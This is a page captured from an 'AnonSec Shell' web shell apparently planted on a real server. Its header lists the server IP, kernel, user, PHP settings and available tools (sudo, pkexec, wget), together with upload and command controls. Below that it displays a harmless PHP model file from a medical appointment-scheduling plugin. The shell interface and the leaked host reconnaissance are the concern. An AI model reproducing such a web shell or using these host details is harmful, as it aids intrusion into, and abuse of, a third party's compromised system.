AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leve/application/plugins/module_med_scheduling/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leve/application/plugins/module_med_scheduling/models/DiaryModel.php
<?php

include_once __DIR__ . "/../../../autoload/My_Model.php";
include_once __DIR__ . "/../factories/DiaryFactory.php";

class DiaryModel extends My_Model
{
    /**
     * @var string
     */
    public $table = 'module_med_diary';

    /**
     * @param array $data
     * @return bool|ORM
     */
    public function createDiary($data)
    {
        $diary = self::create();
        DiaryFactory::create($data, $diary, true);
        $diary->save();

        return $diary;
    }

    /**
     * @param array $data
     * @param ORM $diary
     * @return bool|ORM
     */
    public function updateDiary($data, $diary)
    {
        ORM::for_table($this->table)->create($diary);
        DiaryFactory::create($data, $diary);
        $diary->save();

        return $diary;
    }

    
    
    public function updateDiarySchedules($diaryId) {
        //remove todoso os registros, antes de reinserir
        ORM::for_table('module_med_diary_schedules')->where('diary_id', $diaryId)->delete_many();

        if (_post('ind_dom')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_dom_ini_mn');
            $data_times->hr_fim_manha = _post('hr_dom_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_dom_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_dom_fim_tr');
            $data_times->ind_dia = 0;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_seg')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_seg_ini_mn');
            $data_times->hr_fim_manha = _post('hr_seg_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_seg_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_seg_fim_tr');
            $data_times->ind_dia = 1;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_ter')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_ter_ini_mn');
            $data_times->hr_fim_manha = _post('hr_ter_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_ter_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_ter_fim_tr');
            $data_times->ind_dia = 2;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_qua')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_qua_ini_mn');
            $data_times->hr_fim_manha = _post('hr_qua_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_qua_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_qua_fim_tr');
            $data_times->ind_dia = 3;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_qui')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_qui_ini_mn');
            $data_times->hr_fim_manha = _post('hr_qui_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_qui_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_qui_fim_tr');
            $data_times->ind_dia = 4;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_sex')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_sex_ini_mn');
            $data_times->hr_fim_manha = _post('hr_sex_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_sex_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_sex_fim_tr');
            $data_times->ind_dia = 5;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }

        if (_post('ind_sab')) {
            $data_times = ORM::for_table('module_med_diary_schedules')->create();
            $data_times->hr_ini_manha = _post('hr_sab_ini_mn');
            $data_times->hr_fim_manha = _post('hr_sab_fim_mn');
            $data_times->hr_ini_tarde = _post('hr_sab_ini_tr');
            $data_times->hr_fim_tarde = _post('hr_sab_fim_tr');
            $data_times->ind_dia = 6;
            $data_times->diary_id = $diaryId;
            $data_times->save();
        }
    }

    
    
    /**
     * @param ORM $diary
     * @return bool|ORM
     */
    public function deleteDiary($diary)
    {
        ORM::for_table($this->table)->create($diary);

        $now = new DateTime('now', new DateTimeZone('America/Sao_Paulo'));
//        ORM::for_table('module_med_diary_doctor')->where('diary_id', $diary->id)->delete_many();
//        ORM::for_table('module_med_diary_schedules')->where('diary_id', $diary->id)->delete_many();
//      
        $diary->deleted_at = $now->format('Y-m-d H:i:s');
        $diary->save();

        return $diary;
    }
}

Anon7 - 2022
AnonSec Team